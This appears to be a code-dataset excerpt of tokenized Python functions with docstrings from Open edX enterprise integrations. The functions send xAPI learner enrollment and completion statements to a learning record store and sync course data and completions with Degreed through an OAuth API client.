{"signature": "def send_xapi_statements(self, lrs_configuration, days):", "body": "for course_enrollment in self.get_course_enrollments(lrs_configuration.enterprise_customer, days):<EOL><INDENT>try:<EOL><INDENT>send_course_enrollment_statement(lrs_configuration, course_enrollment)<EOL><DEDENT>except ClientError:<EOL><INDENT>LOGGER.exception(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>enterprise_customer=lrs_configuration.enterprise_customer.name<EOL>)<EOL>)<EOL><DEDENT><DEDENT>", "docstring": "Send xAPI analytics data of the enterprise learners to the given LRS.\n\nArguments:\n    lrs_configuration (XAPILRSConfiguration): Configuration object containing LRS configurations\n        of the LRS where to send xAPI  learner analytics.\n    days (int): Include course enrollment of this number of days.", "id": "f16207:c0:m3"}
{"signature": "def get_course_enrollments(self, enterprise_customer, days):", "body": "return CourseEnrollment.objects.filter(<EOL>created__gt=datetime.datetime.now() - datetime.timedelta(days=days)<EOL>).filter(<EOL>user_id__in=enterprise_customer.enterprise_customer_users.values_list('<STR_LIT>', flat=True)<EOL>)<EOL>", "docstring": "Get course enrollments for all the learners of given enterprise customer.\n\nArguments:\n    enterprise_customer (EnterpriseCustomer): Include Course enrollments for learners\n        of this enterprise customer.\n    days (int): Include course enrollment of this number of days.\n\nReturns:\n    (list): A list of CourseEnrollment objects.", "id": "f16207:c0:m4"}
{"signature": "def add_arguments(self, parser):", "body": "parser.add_argument(<EOL>'<STR_LIT>',<EOL>dest='<STR_LIT>',<EOL>required=False,<EOL>type=int,<EOL>default=<NUM_LIT:1>,<EOL>help='<STR_LIT>'<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>dest='<STR_LIT>',<EOL>type=str,<EOL>required=False,<EOL>help='<STR_LIT>'<EOL>)<EOL>super(Command, self).add_arguments(parser)<EOL>", "docstring": "Add required arguments to the parser.", "id": "f16208:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def parse_arguments(*args, **options):  <DEDENT>", "body": "days = options.get('<STR_LIT>', <NUM_LIT:1>)<EOL>enterprise_customer_uuid = options.get('<STR_LIT>')<EOL>enterprise_customer = None<EOL>if enterprise_customer_uuid:<EOL><INDENT>try:<EOL><INDENT>enterprise_customer = EnterpriseCustomer.objects.get(uuid=enterprise_customer_uuid)<EOL><DEDENT>except EnterpriseCustomer.DoesNotExist:<EOL><INDENT>raise CommandError('<STR_LIT>'.format(<EOL>enterprise_customer_uuid=enterprise_customer_uuid<EOL>))<EOL><DEDENT><DEDENT>return days, enterprise_customer<EOL>", "docstring": "Parse and validate arguments for the command.\n\nArguments:\n    *args: Positional arguments passed to the command\n    **options: Optional arguments passed to the command\n\nReturns:\n    A tuple containing parsed values for\n    1. days (int): Integer showing number of days to lookup enterprise enrollments,\n        course completion etc and send to xAPI LRS\n    2. enterprise_customer_uuid (EnterpriseCustomer): Enterprise Customer if present then\n        send xAPI statements just for this enterprise.", "id": "f16208:c0:m1"}
{"signature": "def handle(self, *args, **options):", "body": "if not all((PersistentCourseGrade, CourseOverview, CourseGradeFactory)):<EOL><INDENT>raise NotConnectedToOpenEdX(\"<STR_LIT>\")<EOL><DEDENT>days, enterprise_customer = self.parse_arguments(*args, **options)<EOL>if enterprise_customer:<EOL><INDENT>try:<EOL><INDENT>lrs_configuration = XAPILRSConfiguration.objects.get(<EOL>active=True,<EOL>enterprise_customer=enterprise_customer<EOL>)<EOL><DEDENT>except XAPILRSConfiguration.DoesNotExist:<EOL><INDENT>raise CommandError('<STR_LIT>'.format(<EOL>enterprise_customer=enterprise_customer.name<EOL>))<EOL><DEDENT>self.send_xapi_statements(lrs_configuration, days)<EOL><DEDENT>else:<EOL><INDENT>for lrs_configuration in XAPILRSConfiguration.objects.filter(active=True):<EOL><INDENT>self.send_xapi_statements(lrs_configuration, days)<EOL><DEDENT><DEDENT>", "docstring": "Send xAPI statements.", "id": "f16208:c0:m2"}
{"signature": "def send_xapi_statements(self, lrs_configuration, days):", "body": "persistent_course_grades = self.get_course_completions(lrs_configuration.enterprise_customer, days)<EOL>users = self.prefetch_users(persistent_course_grades)<EOL>course_overviews = self.prefetch_courses(persistent_course_grades)<EOL>for persistent_course_grade in persistent_course_grades:<EOL><INDENT>try:<EOL><INDENT>user = users.get(persistent_course_grade.user_id)<EOL>course_overview = course_overviews.get(persistent_course_grade.course_id)<EOL>course_grade = CourseGradeFactory().read(user, course_key=persistent_course_grade.course_id)<EOL>send_course_completion_statement(lrs_configuration, user, course_overview, course_grade)<EOL><DEDENT>except ClientError:<EOL><INDENT>LOGGER.exception(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>enterprise_customer=lrs_configuration.enterprise_customer.name<EOL>)<EOL>)<EOL><DEDENT><DEDENT>", "docstring": "Send xAPI analytics data of the enterprise learners to the given LRS.\n\nArguments:\n    lrs_configuration (XAPILRSConfiguration): Configuration object containing LRS configurations\n        of the LRS where to send xAPI  learner analytics.\n    days (int): Include course enrollment of this number of days.", "id": "f16208:c0:m3"}
{"signature": "def get_course_completions(self, enterprise_customer, days):", "body": "return PersistentCourseGrade.objects.filter(<EOL>passed_timestamp__gt=datetime.datetime.now() - datetime.timedelta(days=days)<EOL>).filter(<EOL>user_id__in=enterprise_customer.enterprise_customer_users.values_list('<STR_LIT>', flat=True)<EOL>)<EOL>", "docstring": "Get course completions via PersistentCourseGrade for all the learners of given enterprise customer.\n\nArguments:\n    enterprise_customer (EnterpriseCustomer): Include Course enrollments for learners\n        of this enterprise customer.\n    days (int): Include course enrollment of this number of days.\n\nReturns:\n    (list): A list of PersistentCourseGrade objects.", "id": "f16208:c0:m4"}
{"signature": "@staticmethod<EOL><INDENT>def prefetch_users(persistent_course_grades):<DEDENT>", "body": "users = User.objects.filter(<EOL>id__in=[grade.user_id for grade in persistent_course_grades]<EOL>)<EOL>return {<EOL>user.id: user for user in users<EOL>}<EOL>", "docstring": "Prefetch Users from the list of user_ids present in the persistent_course_grades.\n\nArguments:\n    persistent_course_grades (list): A list of PersistentCourseGrade.\n\nReturns:\n    (dict): A dictionary containing user_id to user mapping.", "id": "f16208:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def prefetch_courses(persistent_course_grades):<DEDENT>", "body": "return CourseOverview.get_from_ids_if_exists(<EOL>[grade.course_id for grade in persistent_course_grades]<EOL>)<EOL>", "docstring": "Prefetch courses from the list of course_ids present in the persistent_course_grades.\n\nArguments:\n    persistent_course_grades (list): A list of PersistentCourseGrade.\n\nReturns:\n    (dict): A dictionary containing course_id to course_overview mapping.", "id": "f16208:c0:m6"}
{"signature": "def send_course_enrollment_statement(lrs_configuration, course_enrollment):", "body": "user_details = LearnerInfoSerializer(course_enrollment.user)<EOL>course_details = CourseInfoSerializer(course_enrollment.course)<EOL>statement = LearnerCourseEnrollmentStatement(<EOL>course_enrollment.user,<EOL>course_enrollment.course,<EOL>user_details.data,<EOL>course_details.data,<EOL>)<EOL>EnterpriseXAPIClient(lrs_configuration).save_statement(statement)<EOL>", "docstring": "Send xAPI statement for course enrollment.\n\nArguments:\n     lrs_configuration (XAPILRSConfiguration): XAPILRSConfiguration instance where to send statements.\n     course_enrollment (CourseEnrollment): Course enrollment object.", "id": "f16210:m0"}
{"signature": "def send_course_completion_statement(lrs_configuration, user, course_overview, course_grade):", "body": "user_details = LearnerInfoSerializer(user)<EOL>course_details = CourseInfoSerializer(course_overview)<EOL>statement = LearnerCourseCompletionStatement(<EOL>user,<EOL>course_overview,<EOL>user_details.data,<EOL>course_details.data,<EOL>course_grade,<EOL>)<EOL>EnterpriseXAPIClient(lrs_configuration).save_statement(statement)<EOL>", "docstring": "Send xAPI statement for course completion.\n\nArguments:\n     lrs_configuration (XAPILRSConfiguration): XAPILRSConfiguration instance where to send statements.\n     user (User): Django User object.\n     course_overview (CourseOverview): Course over view object containing course details.\n     course_grade (CourseGrade): course grade object.", "id": "f16210:m1"}
{"signature": "def __str__(self):", "body": "return '<STR_LIT>'.format(<EOL>enterprise_name=self.enterprise_customer.name<EOL>)<EOL>", "docstring": "Return human-readable string representation.", "id": "f16211:c0:m0"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "Return uniquely identifying string representation.", "id": "f16211:c0:m1"}
{"signature": "@property<EOL><INDENT>def authorization_header(self):<DEDENT>", "body": "return '<STR_LIT>'.format(<EOL>base64.b64encode('<STR_LIT>'.format(key=self.key, secret=self.secret).encode()).decode()<EOL>)<EOL>", "docstring": "Authorization header for authenticating requests to LRS.", "id": "f16211:c0:m2"}
{"signature": "def __init__(self, user, course_overview, user_details, course_details, course_grade, *args, **kwargs):", "body": "kwargs.update(<EOL>actor=self.get_actor(user.username, user.email),<EOL>verb=self.get_verb(),<EOL>object=self.get_object(course_overview.display_name, course_overview.short_description),<EOL>result=self.get_result(course_grade),<EOL>context=self.get_context(user_details, course_details)<EOL>)<EOL>super(LearnerCourseCompletionStatement, self).__init__(*args, **kwargs)<EOL>", "docstring": "Initialize and populate statement with learner info and course info.\n\nArguments:\n    user (User): Auth User object containing information about the learner enrolling in the course.\n    course_overview (CourseOverview): course overview object containing course details.\n    user_details (dict): A dict object containing learner info we want to send in xAPI statement payload.\n    course_details (dict): A dict object containing course info we want to send in xAPI statement payload.\n    course_grade (CourseGrade): User grade in the course.", "id": "f16212:c0:m0"}
{"signature": "def get_verb(self):", "body": "return Verb(<EOL>id=X_API_VERB_COMPLETED,<EOL>display=LanguageMap({'<STR_LIT>': '<STR_LIT>'}),<EOL>)<EOL>", "docstring": "Get verb for the statement.", "id": "f16212:c0:m1"}
{"signature": "def get_result(self, course_grade):", "body": "return Result(<EOL>score=Score(<EOL>scaled=course_grade.percent,<EOL>raw=course_grade.percent * <NUM_LIT:100>,<EOL>min=MIN_SCORE,<EOL>max=MAX_SCORE,<EOL>),<EOL>success=course_grade.passed,<EOL>completion=course_grade.passed<EOL>)<EOL>", "docstring": "Get result for the statement.\n\nArguments:\n    course_grade (CourseGrade): Course grade.", "id": "f16212:c0:m2"}
{"signature": "def get_actor(self, username, email):", "body": "return Agent(<EOL>name=username,<EOL>mbox='<STR_LIT>'.format(email=email),<EOL>)<EOL>", "docstring": "Get actor for the statement.", "id": "f16213:c0:m0"}
{"signature": "def get_context(self, user_details, course_details):", "body": "return Context(<EOL>extensions=Extensions(<EOL>{<EOL>'<STR_LIT>': user_details,<EOL>'<STR_LIT>': course_details,<EOL>},<EOL>)<EOL>)<EOL>", "docstring": "Get Context for the statement.", "id": "f16213:c0:m1"}
{"signature": "def get_object(self, name, description):", "body": "return Activity(<EOL>id=X_API_ACTIVITY_COURSE,<EOL>definition=ActivityDefinition(<EOL>name=LanguageMap({'<STR_LIT>': (name or '<STR_LIT>').encode(\"<STR_LIT:ascii>\", \"<STR_LIT:ignore>\").decode('<STR_LIT:ascii>')}),<EOL>description=LanguageMap({'<STR_LIT>': (description or '<STR_LIT>').encode(\"<STR_LIT:ascii>\", \"<STR_LIT:ignore>\").decode('<STR_LIT:ascii>')}),<EOL>),<EOL>)<EOL>", "docstring": "Get object for the statement.", "id": "f16213:c0:m2"}
{"signature": "def __init__(self, user, course_overview, user_details, course_details, *args, **kwargs):", "body": "kwargs.update(<EOL>actor=self.get_actor(user.username, user.email),<EOL>verb=self.get_verb(),<EOL>object=self.get_object(course_overview.display_name, course_overview.short_description),<EOL>context=self.get_context(user_details, course_details)<EOL>)<EOL>super(LearnerCourseEnrollmentStatement, self).__init__(*args, **kwargs)<EOL>", "docstring": "Initialize and populate statement with learner info and course info.\n\nArguments:\n    user (User): Auth User object containing information about the learner enrolling in the course.\n    course_overview (CourseOverview): course overview object containing course details.\n    user_details (dict): A dict object containing learner info we want to send in xAPI statement payload.\n    course_details (dict): A dict object containing course info we want to send in xAPI statement payload.", "id": "f16214:c0:m0"}
{"signature": "def get_verb(self):", "body": "return Verb(<EOL>id=X_API_VERB_REGISTERED,<EOL>display=LanguageMap({'<STR_LIT>': '<STR_LIT>'}),<EOL>)<EOL>", "docstring": "Get verb for course enrollment statement.", "id": "f16214:c0:m1"}
{"signature": "def __init__(self, enterprise_configuration):", "body": "super(DegreedAPIClient, self).__init__(enterprise_configuration)<EOL>self.global_degreed_config = apps.get_model('<STR_LIT>', '<STR_LIT>').current()<EOL>self.session = None<EOL>self.expires_at = None<EOL>", "docstring": "Instantiate a new client.\n\nArgs:\n    enterprise_configuration (DegreedEnterpriseCustomerConfiguration): An enterprise customers's\n    configuration model for connecting with Degreed", "id": "f16222:c0:m0"}
{"signature": "def create_course_completion(self, user_id, payload):  ", "body": "return self._post(<EOL>urljoin(<EOL>self.enterprise_configuration.degreed_base_url,<EOL>self.global_degreed_config.completion_status_api_path<EOL>),<EOL>payload,<EOL>self.COMPLETION_PROVIDER_SCOPE<EOL>)<EOL>", "docstring": "Send a completion status payload to the Degreed Completion Status endpoint\n\nArgs:\n    user_id: Unused.\n    payload: JSON encoded object (serialized from DegreedLearnerDataTransmissionAudit)\n        containing completion status fields per Degreed documentation.\n\nReturns:\n    A tuple containing the status code and the body of the response.\nRaises:\n    HTTPError: if we received a failure response code from Degreed", "id": "f16222:c0:m1"}
{"signature": "def delete_course_completion(self, user_id, payload):  ", "body": "return self._delete(<EOL>urljoin(<EOL>self.enterprise_configuration.degreed_base_url,<EOL>self.global_degreed_config.completion_status_api_path<EOL>),<EOL>payload,<EOL>self.COMPLETION_PROVIDER_SCOPE<EOL>)<EOL>", "docstring": "Delete a completion status previously sent to the Degreed Completion Status endpoint\n\nArgs:\n    user_id: Unused.\n    payload: JSON encoded object (serialized from DegreedLearnerDataTransmissionAudit)\n        containing the required completion status fields for deletion per Degreed documentation.\n\nReturns:\n    A tuple containing the status code and the body of the response.\nRaises:\n    HTTPError: if we received a failure response code from Degreed", "id": "f16222:c0:m2"}
{"signature": "def create_content_metadata(self, serialized_data):", "body": "self._sync_content_metadata(serialized_data, '<STR_LIT>')<EOL>", "docstring": "Create content metadata using the Degreed course content API.\n\nArgs:\n    serialized_data: JSON-encoded object containing content metadata.\n\nRaises:\n    ClientError: If Degreed API request fails.", "id": "f16222:c0:m3"}
{"signature": "def update_content_metadata(self, serialized_data):", "body": "self._sync_content_metadata(serialized_data, '<STR_LIT>')<EOL>", "docstring": "Update content metadata using the Degreed course content API.\n\nArgs:\n    serialized_data: JSON-encoded object containing content metadata.\n\nRaises:\n    ClientError: If Degreed API request fails.", "id": "f16222:c0:m4"}
{"signature": "def delete_content_metadata(self, serialized_data):", "body": "self._sync_content_metadata(serialized_data, '<STR_LIT>')<EOL>", "docstring": "Delete content metadata using the Degreed course content API.\n\nArgs:\n    serialized_data: JSON-encoded object containing content metadata.\n\nRaises:\n    ClientError: If Degreed API request fails.", "id": "f16222:c0:m5"}
{"signature": "def _sync_content_metadata(self, serialized_data, http_method):", "body": "try:<EOL><INDENT>status_code, response_body = getattr(self, '<STR_LIT:_>' + http_method)(<EOL>urljoin(self.enterprise_configuration.degreed_base_url, self.global_degreed_config.course_api_path),<EOL>serialized_data,<EOL>self.CONTENT_PROVIDER_SCOPE<EOL>)<EOL><DEDENT>except requests.exceptions.RequestException as exc:<EOL><INDENT>raise ClientError(<EOL>'<STR_LIT>'.format(<EOL>error=exc.__class__.__name__,<EOL>message=str(exc)<EOL>)<EOL>)<EOL><DEDENT>if status_code >= <NUM_LIT>:<EOL><INDENT>raise ClientError(<EOL>'<STR_LIT>'.format(<EOL>status_code=status_code,<EOL>message=response_body<EOL>)<EOL>)<EOL><DEDENT>", "docstring": "Synchronize content metadata using the Degreed course content API.\n\nArgs:\n    serialized_data: JSON-encoded object containing content metadata.\n    http_method: The HTTP method to use for the API request.\n\nRaises:\n    ClientError: If Degreed API request fails.", "id": "f16222:c0:m6"}
{"signature": "def _post(self, url, data, scope):", "body": "self._create_session(scope)<EOL>response = self.session.post(url, data=data)<EOL>return response.status_code, response.text<EOL>", "docstring": "Make a POST request using the session object to a Degreed endpoint.\n\nArgs:\n    url (str): The url to send a POST request to.\n    data (str): The json encoded payload to POST.\n    scope (str): Must be one of the scopes Degreed expects:\n                - `CONTENT_PROVIDER_SCOPE`\n                - `COMPLETION_PROVIDER_SCOPE`", "id": "f16222:c0:m7"}
{"signature": "def _delete(self, url, data, scope):", "body": "self._create_session(scope)<EOL>response = self.session.delete(url, data=data)<EOL>return response.status_code, response.text<EOL>", "docstring": "Make a DELETE request using the session object to a Degreed endpoint.\n\nArgs:\n    url (str): The url to send a DELETE request to.\n    data (str): The json encoded payload to DELETE.\n    scope (str): Must be one of the scopes Degreed expects:\n                - `CONTENT_PROVIDER_SCOPE`\n                - `COMPLETION_PROVIDER_SCOPE`", "id": "f16222:c0:m8"}
{"signature": "def _create_session(self, scope):", "body": "now = datetime.datetime.utcnow()<EOL>if self.session is None or self.expires_at is None or now >= self.expires_at:<EOL><INDENT>if self.session:<EOL><INDENT>self.session.close()<EOL><DEDENT>oauth_access_token, expires_at = self._get_oauth_access_token(<EOL>self.enterprise_configuration.key,<EOL>self.enterprise_configuration.secret,<EOL>self.enterprise_configuration.degreed_user_id,<EOL>self.enterprise_configuration.degreed_user_password,<EOL>scope<EOL>)<EOL>session = requests.Session()<EOL>session.timeout = self.SESSION_TIMEOUT<EOL>session.headers['<STR_LIT>'] = '<STR_LIT>'.format(oauth_access_token)<EOL>session.headers['<STR_LIT>'] = '<STR_LIT:application/json>'<EOL>self.session = session<EOL>self.expires_at = expires_at<EOL><DEDENT>", "docstring": "Instantiate a new session object for use in connecting with Degreed", "id": "f16222:c0:m9"}
{"signature": "def _get_oauth_access_token(self, client_id, client_secret, user_id, user_password, scope):", "body": "response = requests.post(<EOL>urljoin(self.enterprise_configuration.degreed_base_url, self.global_degreed_config.oauth_api_path),<EOL>data={<EOL>'<STR_LIT>': '<STR_LIT:password>',<EOL>'<STR_LIT:username>': user_id,<EOL>'<STR_LIT:password>': user_password,<EOL>'<STR_LIT>': scope,<EOL>},<EOL>auth=(client_id, client_secret),<EOL>headers={'<STR_LIT:Content-Type>': '<STR_LIT>'}<EOL>)<EOL>response.raise_for_status()<EOL>data = response.json()<EOL>try:<EOL><INDENT>expires_at = data['<STR_LIT>'] + int(time.time())<EOL>return data['<STR_LIT>'], datetime.datetime.utcfromtimestamp(expires_at)<EOL><DEDENT>except KeyError:<EOL><INDENT>raise requests.RequestException(response=response)<EOL><DEDENT>", "docstring": "Retrieves OAuth 2.0 access token using the client credentials grant.\n\n        Args:\n            client_id (str): API client ID\n            client_secret (str): API client secret\n            user_id (str): Degreed company ID\n            user_password (str): Degreed user password\n            scope (str): Must be one of the scopes Degreed expects:\n                        - `CONTENT_PROVIDER_SCOPE`\n                        - `COMPLETION_PROVIDER_SCOPE`\n\n        Returns:\n            tuple: Tuple containing access token string and expiration datetime.\n        Raises:\n            HTTPError: If we received a failure response code from Degreed.\n            RequestException: If an unexpected response format was received that we could not parse.", "id": "f16222:c0:m10"}
{"signature": "def enterprise_customer_name(self, obj):", "body": "return obj.enterprise_customer.name<EOL>", "docstring": "Returns: the name for the attached EnterpriseCustomer.\n\nArgs:\n    obj: The instance of DegreedEnterpriseCustomerConfiguration\n        being rendered with this admin form.", "id": "f16223:c1:m0"}
{"signature": "def __init__(self, enterprise_configuration, client=DegreedAPIClient):", "body": "super(DegreedContentMetadataTransmitter, self).__init__(<EOL>enterprise_configuration=enterprise_configuration,<EOL>client=client<EOL>)<EOL>", "docstring": "Use the ``DegreedAPIClient`` for content metadata transmission to Degreed.", "id": "f16225:c0:m0"}
{"signature": "def __init__(self, enterprise_configuration, client=DegreedAPIClient):", "body": "super(DegreedLearnerTransmitter, self).__init__(<EOL>enterprise_configuration=enterprise_configuration,<EOL>client=client<EOL>)<EOL>", "docstring": "By default, use the ``DegreedAPIClient`` for learner data transmission to Degreed.", "id": "f16226:c0:m0"}
{"signature": "def transmit(self, payload, **kwargs):", "body": "kwargs['<STR_LIT>'] = '<STR_LIT>'<EOL>kwargs['<STR_LIT>'] = '<STR_LIT>'<EOL>kwargs['<STR_LIT>'] = '<STR_LIT>'<EOL>super(DegreedLearnerTransmitter, self).transmit(payload, **kwargs)<EOL>", "docstring": "Send a completion status call to Degreed using the client.\n\nArgs:\n    payload: The learner completion data payload to send to Degreed", "id": "f16226:c0:m1"}
{"signature": "def transform_description(self, content_metadata_item):", "body": "full_description = content_metadata_item.get('<STR_LIT>') or '<STR_LIT>'<EOL>if <NUM_LIT:0> < len(full_description) <= self.LONG_STRING_LIMIT:  <EOL><INDENT>return full_description<EOL><DEDENT>return content_metadata_item.get('<STR_LIT>') or content_metadata_item.get('<STR_LIT:title>') or '<STR_LIT>'<EOL>", "docstring": "Return the transformed version of the course description.\n\nWe choose one value out of the course's full description, short description, and title\ndepending on availability and length limits.", "id": "f16228:c0:m0"}
{"signature": "def transform_courserun_content_language(self, content_metadata_item):", "body": "code = content_metadata_item.get('<STR_LIT>') or '<STR_LIT>'<EOL>return code.split('<STR_LIT:->')[<NUM_LIT:0>] or '<STR_LIT>'<EOL>", "docstring": "Return the ISO 639-1 language code that Degreed expects for coureseruns.\n\nExample:\n    en-us -> en\n    None -> en", "id": "f16228:c0:m1"}
{"signature": "def transform_content_language(self, content_metadata_item):  ", "body": "<EOL>return '<STR_LIT>'<EOL>", "docstring": "Return the ISO 639-1 language code that Degreed expects.\n\nExample:\n    en-us -> en\n    None -> en", "id": "f16228:c0:m2"}
{"signature": "def transform_image(self, content_metadata_item):", "body": "image_url = '<STR_LIT>'<EOL>if content_metadata_item['<STR_LIT>'] in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>image_url = content_metadata_item.get('<STR_LIT>')<EOL><DEDENT>elif content_metadata_item['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>image_url = content_metadata_item.get('<STR_LIT>')<EOL><DEDENT>return image_url<EOL>", "docstring": "Return the image URI of the content item.", "id": "f16228:c0:m3"}
{"signature": "def transform_program_key(self, content_metadata_item):", "body": "return content_metadata_item['<STR_LIT>']<EOL>", "docstring": "Return the identifier of the program content item.", "id": "f16228:c0:m4"}
{"signature": "def get_learner_data_records(<EOL>self,<EOL>enterprise_enrollment,<EOL>completed_date=None,<EOL>is_passing=False,<EOL>**kwargs<EOL>):  ", "body": "<EOL>completed_timestamp = completed_date.strftime(\"<STR_LIT>\") if isinstance(completed_date, datetime) else None<EOL>if enterprise_enrollment.enterprise_customer_user.get_remote_id() is not None:<EOL><INDENT>DegreedLearnerDataTransmissionAudit = apps.get_model(  <EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>)<EOL>return [<EOL>DegreedLearnerDataTransmissionAudit(<EOL>enterprise_course_enrollment_id=enterprise_enrollment.id,<EOL>degreed_user_email=enterprise_enrollment.enterprise_customer_user.user_email,<EOL>course_id=parse_course_key(enterprise_enrollment.course_id),<EOL>course_completed=completed_date is not None and is_passing,<EOL>completed_timestamp=completed_timestamp,<EOL>),<EOL>DegreedLearnerDataTransmissionAudit(<EOL>enterprise_course_enrollment_id=enterprise_enrollment.id,<EOL>degreed_user_email=enterprise_enrollment.enterprise_customer_user.user_email,<EOL>course_id=enterprise_enrollment.course_id,<EOL>course_completed=completed_date is not None and is_passing,<EOL>completed_timestamp=completed_timestamp,<EOL>)<EOL>]<EOL><DEDENT>else:<EOL><INDENT>LOGGER.debug(<EOL>'<STR_LIT>',<EOL>enterprise_enrollment.enterprise_customer_user.username<EOL>)<EOL><DEDENT>", "docstring": "Return a DegreedLearnerDataTransmissionAudit with the given enrollment and course completion data.\n\nIf completed_date is None, then course completion has not been met.\n\nIf no remote ID can be found, return None.", "id": "f16229:c0:m0"}
{"signature": "def __str__(self):", "body": "return \"<STR_LIT>\".format(id=self.id)<EOL>", "docstring": "Return a human-readable string representation of the object.", "id": "f16230:c0:m0"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "Return uniquely identifying string representation.", "id": "f16230:c0:m1"}
{"signature": "def __str__(self):", "body": "return \"<STR_LIT>\".format(<EOL>enterprise_name=self.enterprise_customer.name<EOL>)<EOL>", "docstring": "Return human-readable string representation.", "id": "f16230:c1:m0"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "Return uniquely identifying string representation.", "id": "f16230:c1:m1"}
{"signature": "@staticmethod<EOL><INDENT>def channel_code():<DEDENT>", "body": "return '<STR_LIT>'<EOL>", "docstring": "Returns an capitalized identifier for this channel class, unique among subclasses.", "id": "f16230:c1:m2"}
{"signature": "def get_learner_data_transmitter(self):", "body": "return DegreedLearnerTransmitter(self)<EOL>", "docstring": "Return a ``DegreedLearnerTransmitter`` instance.", "id": "f16230:c1:m3"}
{"signature": "def get_learner_data_exporter(self, user):", "body": "return DegreedLearnerExporter(user, self)<EOL>", "docstring": "Return a ``DegreedLearnerDataExporter`` instance.", "id": "f16230:c1:m4"}
{"signature": "def get_content_metadata_transmitter(self):", "body": "return DegreedContentMetadataTransmitter(self)<EOL>", "docstring": "Return a ``DegreedContentMetadataTransmitter`` instance.", "id": "f16230:c1:m5"}
{"signature": "def get_content_metadata_exporter(self, user):", "body": "return DegreedContentMetadataExporter(user, self)<EOL>", "docstring": "Return a ``DegreedContentMetadataExporter`` instance.", "id": "f16230:c1:m6"}
{"signature": "def __str__(self):", "body": "return (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>transmission_id=self.id,<EOL>enrollment=self.enterprise_course_enrollment_id,<EOL>degreed_user_email=self.degreed_user_email,<EOL>course_id=self.course_id<EOL>)<EOL>)<EOL>", "docstring": "Return a human-readable string representation of the object.", "id": "f16230:c2:m0"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "Return uniquely identifying string representation.", "id": "f16230:c2:m1"}
{"signature": "def serialize(self, *args, **kwargs):  ", "body": "enterprise_configuration = kwargs.get('<STR_LIT>')<EOL>degreed_company_id = enterprise_configuration.degreed_company_idif hasattr(enterprise_configuration, '<STR_LIT>') else '<STR_LIT>'<EOL>return json.dumps(self._payload_data(degreed_company_id), sort_keys=True)<EOL>", "docstring": "Return a JSON-serialized representation.\n\nSort the keys so the result is consistent and testable.\n\nCan take the following keyword arguments:\n    - `enterprise_configuration`: used to get the `degreed_company_id` to be sent in the payload.\n\n# TODO: When we refactor to use a serialization flow consistent with how course metadata\n# is serialized, remove the serialization here and make the learner data exporter handle the work.", "id": "f16230:c2:m2"}
{"signature": "def _payload_data(self, degreed_company_id):", "body": "return {<EOL>'<STR_LIT>': degreed_company_id,<EOL>'<STR_LIT>': [{<EOL>'<STR_LIT:email>': self.degreed_user_email,<EOL>'<STR_LIT:id>': self.course_id,<EOL>'<STR_LIT>': self.completed_timestamp,<EOL>}]<EOL>}<EOL>", "docstring": "Convert the audit record's fields into Degreed key/value pairs.", "id": "f16230:c2:m3"}
{"signature": "def current_time_is_in_interval(start, end):", "body": "interval_start = parse_lms_api_datetime(start or UNIX_MIN_DATE_STRING)<EOL>interval_end = parse_lms_api_datetime(end or UNIX_MAX_DATE_STRING)<EOL>return interval_start <= timezone.now() <= interval_end<EOL>", "docstring": "Determine whether the current time is on the interval [start, end].", "id": "f16231:m2"}
{"signature": "def chunks(dictionary, chunk_size):", "body": "iterable = iter(dictionary)<EOL>for __ in range(<NUM_LIT:0>, len(dictionary), chunk_size):<EOL><INDENT>yield {key: dictionary[key] for key in islice(iterable, chunk_size)}<EOL><DEDENT>", "docstring": "Yield successive n-sized chunks from dictionary.", "id": "f16231:m3"}
{"signature": "def strfdelta(tdelta, fmt='<STR_LIT>', input_type='<STR_LIT>'):", "body": "<EOL>if input_type == '<STR_LIT>':<EOL><INDENT>remainder = int(tdelta.total_seconds())<EOL><DEDENT>elif input_type in ['<STR_LIT:s>', '<STR_LIT>']:<EOL><INDENT>remainder = int(tdelta)<EOL><DEDENT>elif input_type in ['<STR_LIT:m>', '<STR_LIT>']:<EOL><INDENT>remainder = int(tdelta) * <NUM_LIT><EOL><DEDENT>elif input_type in ['<STR_LIT:h>', '<STR_LIT>']:<EOL><INDENT>remainder = int(tdelta) * <NUM_LIT><EOL><DEDENT>elif input_type in ['<STR_LIT:d>', '<STR_LIT>']:<EOL><INDENT>remainder = int(tdelta) * <NUM_LIT><EOL><DEDENT>elif input_type in ['<STR_LIT:w>', '<STR_LIT>']:<EOL><INDENT>remainder = int(tdelta) * <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>f = Formatter()<EOL>desired_fields = [field_tuple[<NUM_LIT:1>] for field_tuple in f.parse(fmt)]<EOL>possible_fields = ('<STR_LIT>', '<STR_LIT:D>', '<STR_LIT:H>', '<STR_LIT:M>', '<STR_LIT:S>')<EOL>constants = {'<STR_LIT>': <NUM_LIT>, '<STR_LIT:D>': <NUM_LIT>, '<STR_LIT:H>': <NUM_LIT>, '<STR_LIT:M>': <NUM_LIT>, '<STR_LIT:S>': <NUM_LIT:1>}<EOL>values = {}<EOL>for field in possible_fields:<EOL><INDENT>if field in desired_fields and field in constants:<EOL><INDENT>values[field], remainder = divmod(remainder, constants[field])<EOL><DEDENT><DEDENT>return f.format(fmt, **values)<EOL>", "docstring": "Convert a datetime.timedelta object or a regular number to a custom-formatted string.\n\nThis function works like the strftime() method works for datetime.datetime\nobjects.\n\nThe fmt argument allows custom formatting to be specified.  Fields can\ninclude seconds, minutes, hours, days, and weeks.  Each field is optional.\n\nArguments:\n    tdelta (datetime.timedelta, int): time delta object containing the duration or an integer\n        to go with the input_type.\n    fmt (str): Expected format of the time delta. place holders can only be one of the following.\n        1. D to extract days from time delta\n        2. H to extract hours from time delta\n        3. M to extract months from time delta\n        4. S to extract seconds from timedelta\n    input_type (str):  The input_type argument allows tdelta to be a regular number instead of the\n        default, which is a 